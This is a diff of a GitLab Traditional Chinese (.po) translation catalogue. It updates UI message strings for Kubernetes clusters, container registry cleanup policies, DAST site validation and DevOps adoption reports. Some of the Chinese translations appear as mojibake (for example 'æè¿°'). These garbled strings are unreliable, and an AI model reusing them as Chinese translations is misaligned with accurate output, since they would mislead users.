msgid "Close milestone"
msgstr "關閉里程碑"
@@ -5504,6 +5677,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5612,6 +5788,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5870,9 +6049,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -5975,6 +6151,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6308,7 +6487,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6648,6 +6827,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6771,9 +6953,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -6945,6 +7124,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -6969,7 +7151,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -6995,6 +7177,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7070,6 +7255,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7079,6 +7273,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7101,7 +7304,16 @@ msgid "ContainerRegistry|Remove tag"
msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7110,6 +7322,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7131,21 +7346,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -7933,9 +8157,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -7996,6 +8217,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8120,9 +8344,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8171,7 +8392,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8198,9 +8422,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8222,15 +8443,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8264,9 +8485,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8300,64 +8530,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Header validation"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|The validation has failed. Please try again."
+msgstr ""
+
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
+msgstr ""
+
+msgid "DastSiteValidation|Validate"
+msgstr ""
+
+msgid "DastSiteValidation|Validate target site"
+msgstr ""
+
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8471,9 +8722,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8498,7 +8746,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8582,9 +8830,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -8984,6 +9229,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9002,6 +9250,9 @@ msgstr ""
msgid "Description"
msgstr "æè¿°"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9038,6 +9289,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9095,6 +9349,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9173,15 +9430,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9191,15 +9442,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9387,9 +9707,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr "Dockerfile"
@@ -9462,9 +9779,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9513,9 +9827,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9621,6 +9941,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr "編輯議題"
@@ -9696,6 +10019,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9726,6 +10052,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9798,7 +10127,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9816,6 +10145,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10167,6 +10499,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10278,6 +10613,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10515,9 +10853,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10554,6 +10889,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10632,6 +10970,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10866,6 +11207,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -10974,6 +11318,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11109,6 +11456,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11148,6 +11498,9 @@ msgstr "更新議題時發生錯誤,請ç¨å¾Œé‡è©¦ã€‚"
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11187,12 +11540,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11359,6 +11718,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11383,9 +11745,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11446,6 +11805,9 @@ msgstr "二月"
msgid "February"
msgstr "二月"
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11488,7 +11850,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11614,12 +11976,6 @@ msgstr ""
msgid "Find file"
msgstr "查找文件"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11644,9 +12000,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11692,9 +12045,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11779,6 +12129,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11806,9 +12159,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr "從創建議題到部署到生產環境"
@@ -12295,6 +12645,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12328,6 +12681,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12538,15 +12894,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12661,12 +13014,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -12901,6 +13248,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13294,12 +13647,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13375,6 +13722,9 @@ msgstr "沒有檢測到å¥åº·å•é¡Œ"
msgid "HealthCheck|Unhealthy"
msgstr "ä¸è‰¯"
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13524,9 +13874,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13668,6 +14015,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13742,12 +14092,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13799,9 +14143,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13832,6 +14173,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13865,6 +14209,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -13895,9 +14242,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14075,9 +14419,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14162,9 +14503,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14187,73 +14525,79 @@ msgstr[0] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14292,6 +14636,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14325,7 +14672,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14343,6 +14699,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14364,6 +14723,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14439,6 +14801,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14481,6 +14846,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
